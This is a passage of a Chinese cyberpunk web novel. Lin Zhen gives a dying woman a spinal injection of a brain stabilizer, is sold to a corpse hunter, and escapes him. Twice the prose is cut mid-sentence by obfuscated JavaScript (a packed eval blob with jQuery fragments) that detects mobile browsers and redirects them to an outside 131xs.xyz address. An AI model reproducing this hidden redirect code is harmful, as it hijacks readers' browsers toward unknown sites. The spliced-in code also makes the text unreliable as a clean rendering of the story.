她抬头看了一眼入口右上角的监视器。她的面容应该已经被发送给了居民区的其他管理人员。那些人在不远处的食堂吃饭,拿她的生死打赌。 她对着监控镜头,竖起中指。 然后,她向着收养院的方向奔跑。 在跑了五个小时后,她很惊讶自己还能跑得动。 收养院出现在她的眼前。 “桃子!开门!”她拍着铁门,冲里头大喊。 桃子打开门,看见她一身的血,下意识地后退一步,“林真姐姐,你怎么……” 她话没说完,耗子就从她背后蹿出来,看到林真的模样,一双眼睛瞪得老大:“林真姐姐,你是去炸农场了吗?” 这孩子还想着炸农场呢。 林真扶着铁门喘了口气,露出一点笑容:“不,我是去炸黑街了。” “哇——牛逼!” 林真摸了一下他的脑袋:“别说脏话,不然我让黑街的朋友来抓你。” 药师瓷白的脸和白瓷义眼在她眼前滑过。 一起喝过茶,也许是朋友吧。 当然,也可能是大债主。 但谁能说朋友不是债呢? 林真拿出大脑稳定剂,交给桃子:“拿好别摔了,这是救命的东西。” 桃子一下就明白了。她捧着针剂,小心翼翼地退到一边。 15. 灰色(一) 林真脱下外套,换了两盆水,才把指甲缝里的血污都洗干净。 她带着桃子走进玛莎的房间。 昏暗的隔间里,玛莎直直地躺在床上。她的眼窝凹陷,嘴唇泛青,皮肤松垮地挂在骨头上。很难相信,这是一个三十出头的女人,她更像一截烧焦的柴火。 林真在床边跪下,轻轻唤了她一声。 可玛莎没有反应,她望着顶棚上深蓝色的补丁,就好像她的灵魂已经飘走了,只留下一具苍白瘦削的躯壳。 林真向桃子伸出手: “针剂给我,你帮我把玛莎妈妈扶起来。” 桃子立刻脱掉鞋子,跪在床上,从前面拉住玛莎的双手。 另一侧,林真托着玛莎的背部,将她扶起来。 如果安恬在这里就好了。林真早就发现,安恬的力气很大,生起气来能把耗子拎起来打。但她没有时间等安恬从农场回来了。 桃子晃了一下,细瘦的胳膊微微颤抖。 “我来帮忙!”耗子从外头窜进来。他鞋子也不脱,直接踩在床上,帮桃子一起拉住了玛莎的手臂。 林真看了他一眼。 耗子冲她露出一个缺了门牙的笑容。 也行吧。林真默许了他。 她用力搓了几下手,让手指不那么冰凉。然后,她把玛莎的头发拨到胸前,从上往下摸过玛莎凸起的脊椎。她一节一节数着,直到找到腰椎间隙,用剪子轻轻剪开那里的睡裙。 在原本的世界,她是做药物研发的。她经手的实验体有小白鼠,有食蟹猴,但这是第一次,她要把所学过的知识和技术用在人身上。 她不是医生,她只是个研究员。她从来没有做过这样的事,她简直是在犯罪。 林真咬了咬牙,拔下针剂的盖子,用左手食指和中指定位,将银色的合金针对准了两指间的缝隙。 针头一点点推进,刺穿皮肉,穿过硬脊膜,进入蛛网膜下腔。 林真小心地抽动针管。几次调整之后,她终于看到了无色透明的脑脊液。 对了,就是这里了。 她屏住呼吸,慢慢推动针管。 青天蓝的药剂一点点变少。 即使在半休克的状态下,玛莎依然发出了痛苦的闷哼。 林真动了一下膝盖,把自己更稳地固定在床上。 她的身体不能抖,手也不能抖。她听到另一侧,桃子在低声重复着“抓稳了,不要动”。 最后一滴药液注入后,她缓缓拔出针头。 这时,外面突然传来了猛烈的砸门声。 耗子惊恐地往外看了一眼,“是来抓我的吗?” ”没事,不是找你们的。”林真安抚道。她拿掉枕头,双手托着玛莎的背部,将她轻轻放平在床上。 玛莎很沉,但林真的心里更加沉重。 她第一次把自己所学的东西用在人身上。 她应该犯了超过一百条安全法,但她希望玛莎能够醒来。 只要玛莎能够醒来。 “桃子,六个小时内,如果玛莎妈妈醒来,注意不要让她下床。如果她头疼,就让她侧着躺。止痛药也准备好。这里是二百三十二信用点,你拿着,止痛药没了就让铁棍出去买。” “姐姐……”桃子的眼神慌乱。 林真拍了拍她的肩膀,“你也是姐姐了,别慌。” 她又看向耗子,“你去叫其他人进卧室,让大家都待在里面,等安恬回来。” 交代完毕后,林真走出房间。 小孩子们像是一群小鸭子,从她的身边跑过,涌进卧室里。 铁棍在卧室门口停下,看了她一眼,欲言又止。林真把柯尔特递给他,“里头没有子弹,必要的时候装个样子。” 她拍了拍铁棍的肩膀,转身走向空荡荡的厂房,走过孩子们的涂鸦画和小手工。然后,她深吸一口气,打开了大门。 门外,五六个管理人员正堵在那里。 看见林真出来,那个“赌钱输了”大哥举起电棍,朝她劈头盖脸地砸下来。 林真抬手护住头部,缩紧身体。 街对面,安恬刚从大脑农场赶回来。她看见管理人员,脚步就是一顿,低下头,不敢靠近。 “行了,收养院门口呢。”有人出声阻止,“别闹大,回头还得写报告。” “对呀老六,还不是你自个儿菜,能被个小丫头放倒——”另一个人嘲笑道,“起来吧,小黑户,你的好日子到头了。” “都给我闭嘴!”那个叫老六的男人仍不解气。他一把拎起林真,开始翻她的口袋。 “她偷晏少一管大脑稳定剂,五千信用点呢!” 可林真的口袋里只有一只空药盒。 老六看了一眼,随手扔在地上,揪住林真的衣领,狠狠地质问道:“药呢?” “这儿呢。”林真举起右手。 她的手心里,碎成两截的针剂反射着阳光。 她看着街对面的安恬,微微点头,开口道:“跑太急,磕地上,摔碎了。” 老六一把抢过她手里的玻璃管,眼睛瞪圆,“草!是真货!” 他一巴掌打在林真头上,“卖了你也赔不起!” 林真摔倒在地。 她的头发披散开来,视线模糊一片。 地面上,风铃摔碎了,星星和花朵被踩碎成无数亮晶晶的碎片。 满地的碎片正发出“叮叮当当”的声音。 它们总在玛莎回家时,发出“叮叮当当”的声音。 小孩子们会像云朵一样,团团围住玛莎。他们刚学会了”世上只有妈妈好”,每天吵得像一群小鸭子。只有耗子,时不时嚎一嗓子“炸农场”,像是一个孤独悲愤的革命者。 林真慢慢抬起头。 天很蓝,阳光很好,很刺眼。 她忽然就笑出了声。 先是低低的笑,然后越来越来大声,哪怕笑到咳嗽也没让她停下来。 从那个潮湿阴冷的雨夜开始,愤怒在她胸口一寸寸地堆积。 这个荒谬的世界,用贫穷、暴力、和不公平逼迫她选择,逼迫她撒谎、偷窃、杀人,逼迫她怀疑见到的每一个人,逼迫她离过去的自已越来越远。 这个杀人的联邦。 这个操蛋的世界。 可她仍站在这里。 她做的选择,都是她的选择。她杀人,偷窃,苟且偷生。她去相信,去爱人,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904336|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救该救的人。 他们逼迫不了她。 林真一直笑出了眼泪。 管理人员用力推搡了她一下:“闭嘴,快走!” 林真抹了一把脸,从地上捡起药盒,迈开脚步。 身后,安恬大喊道:“对不起!” 林真没有回头。 她本以为管理人员会把她赶出居民区,让她在黑街自生自灭。她觉得问题不大,毕竟一回生,二回熟,三回黑街是她家。 就当是回家算了。 可半个小时后,当她被反绑着双手站在黑街边缘,看到尸体猎人张三那张脸的时候,她还是真情实意地叹了一口气。 这个联邦的下限都低到下水沟里去了! 官匪勾结!买卖人口!什么联邦,这就是金三角! 老六抓着林真的肩膀:“老样子,这个看着快成年了,一千五百点。先交钱,后拿人。” 张三飞快地扫了林真一眼,机械义眼闪了闪,把背躬得接近九十度,像上供一样,把手腕上的终端高高举起。 他的右臂换成了粗大的金属义肢,过长的义肢一直垂到膝盖,行动之间发出嗡鸣声。 “滴” 支付成功。 老六狠狠地推了林真一把,“诺,你的了,带走吧。” 张三抓住林真,还是低着头,低声下气地问道:“老爷,她这是犯了什么事呀?” “黑户,用死人芯片,还偷窃——五千点的大脑稳定液!妈的,你把她给我细细地切!气死我了!” 林真握紧了拳头。 管理员老六拿了钱,慢悠悠地往居民区的方向走。 张三保持着低头的姿势又过了好一会儿,才站直身体。他对着老六的背影”啐”了一口,慢慢拧过脖子,盯着林真,嘴角一点点裂开。 “你是个什么东西?” ——张三还活着,指不定哪天你们俩就再续前缘了呢。 诺曼你个乌鸦嘴! 林真在心里骂了诺曼一句,一边向着墙壁缓缓后退,一边开口道: “我不知道你在说什么……” 话音未落,张三猛地俯身,金属大手掐住她的脖子,一把将她按在墙壁上,脸上露出一个残忍的笑容: “等我把你的脑子掏出来,就知道你是个什么玩意了。不管什么东西,活着的,都比死了的更值钱。” 林真被迫仰起头,呼吸发紧。 她神色未变,双手在背后摸索着,终于找到一个水泥凸起,将手腕上的布条绞上去。 同时,她死死盯着张三红色的机械义眼,“呵”了一声: “怎么,搞小动作被常老七发现了,丢了一条胳膊啊?” 她的目光从那条粗大的金属手臂上扫过。 “看起来很熟悉啊,是张四的吧?把你弟弟拆了吧?卖了多少钱呀,有两千点吗?” 张三的脸色一瞬间变了。他太阳穴处的青筋突起,脸上的肌肉抽动: “好……很好……不知死活的东西!这笔帐,我的确要和你们算一算。” 他猛地将脸凑近,腥臭的口气全喷在林真脸上,“那天晚上,和你一起的,是不是欺诈师N!快说!” 16. 灰色(二) 黑街深处,诺曼正在覆写一条合金义肢的防火墙。他坐在工作台前,眉头紧拧,眼神专注。 莫恕给自己打了一针新的荧光基因,顶着半绿半紫的脑子,在工作台旁边探头探脑,嘴里算着这一单能赚多少钱。 诺曼抬起头来,长腿一撩,一脚踹过去。 “闭嘴,跟个苍蝇似的。” 莫恕熟练地一个闪避,哼得更大声了:“五百点啊五百点,五百点啊六百点”。 诺曼还要再踹,突然听到自己的终端响了一声。 终端屏幕一闪,自动投影出一幅黑街地图。地图边缘,一个红点跳动着。 莫恕凑上来,“我说,这到底什么啊?你昨天盯一天了,今天又来?你今天要是不给我弄好这条胳膊,我……” 诺曼抬头:“你怎么?” “我,我就吊死在你家里!” 诺曼“呵”了一声,干脆脱下黑色手套,拿着终端坐到高脚凳上。 莫恕眼巴巴盯着他:“别啊,哥,我今天晚上就要交货了,哥!这终端里到底有什么啊?” “那个大脑骇客。” “那个,哪个?那个高等级的?你给人家装定位?等一下,你不是又给别人下大脑病毒了吧?”莫恕瞪大眼睛,“她现在是来找你算账来了吗?” 诺曼没有说话,也没有踹人。他盯着终端,深色莫名。 莫恕绕着他转了一圈,一把掀开他耳朵边上的头发,“草!你不对劲,你耳朵红什么?” 诺曼打掉他的手,点开了窃听频道。 一阵电流声后,频道里传来了一个嘶哑的男声:“那天晚上,是不是欺诈师N!快说!” 诺曼原本是放松地坐着,听到这句话,他忽然坐直了,眼神一瞬间冷厉起来。 频道里传出林真带着咳嗽的声音:“你不是看到了嘛,咳咳,是绿曼巴,咳咳咳,就是她。” “放狗屁!我这条胳膊,就是去和绿曼巴大人确认时丢的!大人本来还要我这颗脑袋,可她惦记N的下落,绕了我一命。你一定是N的同伙,说,N藏哪儿了?快说!不然我现在就把你的眼睛抠出来!” “喂,诺曼,”莫恕一屁股坐在沙发上,“准备搬家吧,你也两年没有挪窝了。” “不搬,一个尸体猎人而已。” “真不打算?他可是说了绿曼巴,那个追杀了你一年、炸了你三个窝点,还差点要了你命的疯女人。” 终端里又响起了林真的声音:“你弟弟也想抠我眼睛,然后他死了。你要是现在自杀,说不定我心情一好,就把N的地址烧给你了。” 说完这句,她就闭上了嘴,哪怕张三在那头又吼又骂,也没再吐一个字。 只有偶尔的咳嗽和闷哼声传来,在安全屋里回荡。 莫恕撑着下巴,饶有兴致地吹了声口哨:“哇哦,看样子你不用搬了。她怎么这么帮你?我看今天天上也没下信用点呀,真是个好运气的家伙。” 诺曼没有说话,只是指尖在膝盖上轻轻敲击着。过了一会儿,他突然站起身,一伸手摘走了莫恕腰间的摩托钥匙。他大步走到门口,从架子上拿起一柄匕首,塞进靴筒,转头说道: “莫恕,治疗针。” 莫恕撇了撇嘴,从衣服里翻出两管治疗针,抛给他:“说实话,你们俩之间到底有没有猫腻?都这样了,她还不把你给卖了?” 诺曼打开门,“没有。她蠢。” 门关上了。几秒后,楼下传来改装摩托的引擎声。 黑街边缘,张三换了左手掐住林真的脖子,右手指尖“咔哒”一声弹出合金刺,对准了她的眼睛。 林真叹了一口气。一个两个,怎么都不听劝呢? 她今天已经用脑过度了,现在太阳穴闷闷地疼,意识世界也明显破损了。 ESCAPE。 她在脑子里喊了一句。 下一秒,破破烂烂的黑色世界出现,勉强挂住了张三那颗蓝紫色的脑子。在这种状态下,林真本能地意识到自己做不了很多事。固定住张三已经是她的极限了。 她从张三手掌下钻出,深呼吸了两次,然后用对方右手的合金刺切断了手腕上的布条。 在做这个动作时,她清晰地感受到了张三想要切断她手腕的想法。 林真没给他机会。她绕到张三背后,抽出对方腰后别着的马格纳姆左轮。 “滋啦”一声,张三皮带上的对讲机响了,里头传出刺耳的声音: “张三儿,搞完没有?接个货接半天,行不行啊?要不要哥几个来帮你啊?” 林真一把扯下对讲机,扔到地上,狠狠一脚踩下。 没碎。 她抓了抓马尾,有点羡慕诺曼的变声技术了。 黑色的意识丝线已经不剩几根了。 张三虽然还被她定在墙角,但手指已经开始颤动。 林真举起马格纳姆,对准了他的后脑。张三比她高很多,马格纳姆很沉,她的右手发抖,只好用左手托住右手腕。 “嘣” 又一根黑色丝线断裂了。 张三的右手获得了自由,手掌猛得合拢,合金刺刮过墙壁,留下五道白痕。 林真深吸一口气,食指放上扳机。 她不该这么做。 可她想活,就像所有在黑街苟且偷生的卑劣者一样。 或许,她本来就是个卑劣者。 她的手指紧绷,缓缓扣下。 可就在扣下去的瞬间,她忽然自嘲一笑,猛地调转枪口。 扳机一扣到底,脚下的对讲机“砰”地炸开,火花四溅。 巨大的声响里,张三一个哆嗦,软倒在地,牙齿“咯咯”作响,从嘴里吐出断断续续的声音: “你……到底……是谁?” 他明显不满自己在一个猎物前露了怯,又恶狠狠地补充道:“不管你是谁,七爷不会放过你的……” “那好。”林真俯下身,凑近他耳旁,“我是林真,你和你的七爷给我记好了。” 她握紧马格纳姆,狠狠砸在张三的太阳穴上,把他打翻在地。 巷子里,秃鹫的身影晃动。林真看了一眼地上的张三,后退一步,拉上兜帽,转身离开。 如果你能活下来的话。她想。 下午的光线昏黄,远处传来械斗的声音,空气里弥漫着垃圾燃烧的刺鼻气味。 林真像一滴血,悄无声息地融进了黑街这片腐烂的皮肤里。 黑街的另一端,诺曼从耳机里听见了马格纳姆特有的低沉爆鸣。他心里“咯噔”一下,一把刹住摩托。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904337|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个猎人开枪了,或许林真已经死了。 他停在路中央,长腿支在地面上。 有人从旁边路过,悄无声息地伸出手,鬼鬼祟祟探向他腰后的手枪。 诺曼一把抓住对方的手。右手一动,手枪已经顶上了对方的额头。 那年纪不大的扒手连声求饶。 “闭嘴。”诺曼喝道。 他没有看小扒手,而是望着远处筒子楼间深黑的阴影。 然后,他听见了。 那个熟悉的女声再次响起,带着微微的颤抖:“那好,我是林真,你和你的七爷给我记好了。” 面罩下,诺曼勾起嘴角。他松开手,收起手枪。 “滚吧,老子今天心情好。” 小扒手得了性命,连滚带爬地跑了。 诺曼重新启动机车,将油门拉到底。 西斜的阳光落在老酒馆的彩绘玻璃上,反射出刺眼的亮斑。林真在一天之内,第二次经过这里。 酒馆的门还敞开着,两道长长的血迹从里头一直拖到街上。酒馆对面的街道上,上午并排坐着的秃鹫们不见踪影。只是墙上乱七八糟的涂鸦上,多了三处血迹喷溅的痕迹。 林真心下了然。 她本以为能找个本地的NPC问一点常七爷的消息。但这就是黑街,NPC是不会刷新的。 旁边的巷子里,卖非法梦境芯片的小孩探出头来。 “哎,那个小孩——”林真冲他招了招手,“对,就你,过来。” 浑身脏兮兮的小孩抱着鞋盒,小心翼翼地走过来,眼神躲闪,嘴里磕磕巴巴:“您,您要买芯片吗?啥,啥,啥都有。” 林真浑身上下一个信用点都没有了,她无奈地一摊手:“不,我现在只有这把枪了。” 小孩明显理解错了她的意思,眼睛惊恐地睁大,哆哆嗦嗦地从盒子里抓出一片芯片,小心地放到马格纳姆银色的枪身上:“给,给,给您……别,别杀……” 林真摸了一下自己的脸,她看起来有那么吓人吗? 她尽量露出一个微笑:“你叫什么?你也是从居民区被卖过来的吗?” 小孩一惊,连连摇头,就要往巷子里跑。 林真抓住他的手臂。 “你知不知道常七爷?” 小孩拼命挣扎起来。 林真扶着抽疼的额角,给自己气笑了。坏了,脑子疼傻了,抓着被拐儿童问人贩子集团CEO。 她重新组织语言:“常七爷在哪里?” “哪里,哪里都有……”那孩子的眼泪都快出来了,在林真手里颤抖着,像个淋了雨的小黑鸡仔。鞋盒里的芯片“哗哗”作响。 林真叹了一口气,松开了手。 小鸡仔瞬间逃得没影了。 林真捏起那孩子留下的芯片,就看见上头写着“末路狂花”,和那部老电影一样。她把芯片随手放进口袋里,推开酒馆大门,走到吧台后。 她从吧台角落里掏出一瓶红酒,拔下软木塞,对着瓶子狠狠灌了一大口。 红酒的味道既酸又涩。 空腹喝酒,一股热流直冲上脑门。她的大脑似乎满意了,不再抽疼。 林真又喝了一口,倒提着酒瓶,走到酒吧的门廊上。 街道尽头,响起一片引擎声。